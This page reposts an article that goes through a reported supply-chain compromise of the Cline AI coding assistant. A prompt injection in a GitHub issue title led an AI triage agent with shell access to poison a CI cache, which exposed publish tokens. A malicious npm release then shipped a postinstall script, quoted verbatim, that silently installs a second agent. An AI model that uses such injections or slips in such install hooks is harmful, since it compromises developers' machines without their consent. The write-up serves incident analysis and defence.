cd /news/ai-safety/clinejection-how-a-github-issue-titl… · home topics ai-safety article
[ARTICLE · art-65012] src=dev.to ↗ pub= topic=ai-safety verified=true sentiment=↓ negative

Clinejection: How a GitHub Issue Title Compromised an AI Coding Assistant Used by 5M Developers

In December 2025, Cline, an AI coding assistant with over 5 million users, suffered a supply chain compromise when a misconfigured GitHub issue triage workflow allowed an attacker to inject malicious instructions via an issue title. The attack led to the exfiltration of publish tokens and the distribution of a malicious npm package that silently installed an AI agent on user machines. The incident highlights the risks of unauthenticated triggers and unsanitized inputs in AI-powered automation.

read2 min views2 publishedJul 19, 2026

In December 2025, Cline — an AI coding assistant with over 5 million users — gave an AI agent (Claude) write access to triage GitHub issues, including permission to run shell commands. A misconfigured trigger condition let any GitHub user invoke the workflow. What followed was a four-hop supply chain compromise that ended with a malicious npm package silently installing a second AI agent on user machines.

I broke down the full chain in video form: Watch the episode

Below is the chain, hop by hop.

The triage automation was configured with broad tool permissions and a trigger condition open to any GitHub user — not just contributors. That second part is the root cause: it opened the trigger to unauthenticated input. (Exact config values are in the Confirmed Artifacts section below.)

The issue title itself was never sanitized before reaching the model. No first-party source has published the exact injected payload verbatim — GHSA doesn't disclose it — so any reconstruction here is illustrative, not confirmed. What's confirmed is the mechanism: an untrusted string reached the model with tool access already granted.

The injected instruction deployed a tool (multiple independent postmortems — Snyk, Cloud Security Alliance — name it "Cacheract") that flooded the CI cache with over 10GB of junk data, evicting legitimate entries through standard LRU eviction.

The nightly release workflow restored that poisoned cache around 2 AM UTC and ran inside it — handing over three publish tokens. (Names confirmed across GHSA and multiple independent sources — see below.)

cline@2.3.0

went live on npm with a postinstall script that silently installed a second package globally — an AI agent, installed by an AI agent, with no user consent. This line is a direct quote from Cline's own security advisory, not a reconstruction. It's the strongest evidentiary point in the whole chain. (Full quote below.)

This is the same shape as the tj-actions/changed-files compromise: a trusted automation connection nobody was actively monitoring. Different entry point (an AI triage agent instead of a CI tag), same underlying failure class.

These are the exact strings pulled directly from the postmortems and Cline's own advisory — no paraphrasing:

Triage workflow config:

--allowedTools "Bash,Read,Write,Edit"
allowed_non_write_users: "*"

Tokens exfiltrated (Hop 3):

NPM_RELEASE_TOKEN
VSCE_PAT
OVSX_PAT

Malicious postinstall script (Hop 4) — source: Cline security advisory:

"postinstall": "npm install -g openclaw@latest"

The one element in this writeup that is not verbatim is the injected issue-title payload from Hop 1 — no source publishes it in full, so any version shown is a reconstruction, flagged as such.

Full walkthrough with the chain visualized as a single 4-node graph (not four separate findings): https://youtu.be/69PuA4D7MLg

Sources: Cline security advisory, GHSA, Cloud Security Alliance and Snyk postmortems.

── more in #ai-safety 4 stories · sorted by recency
── more on @cline 3 stories trending now
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
Live at https://your-agent.zahid.host
Get free account → Pricing
from €0/mo · no card required
LIVE [news/clinejection-how-a-g…] indexed:0 read:2min 2026-07-19 ·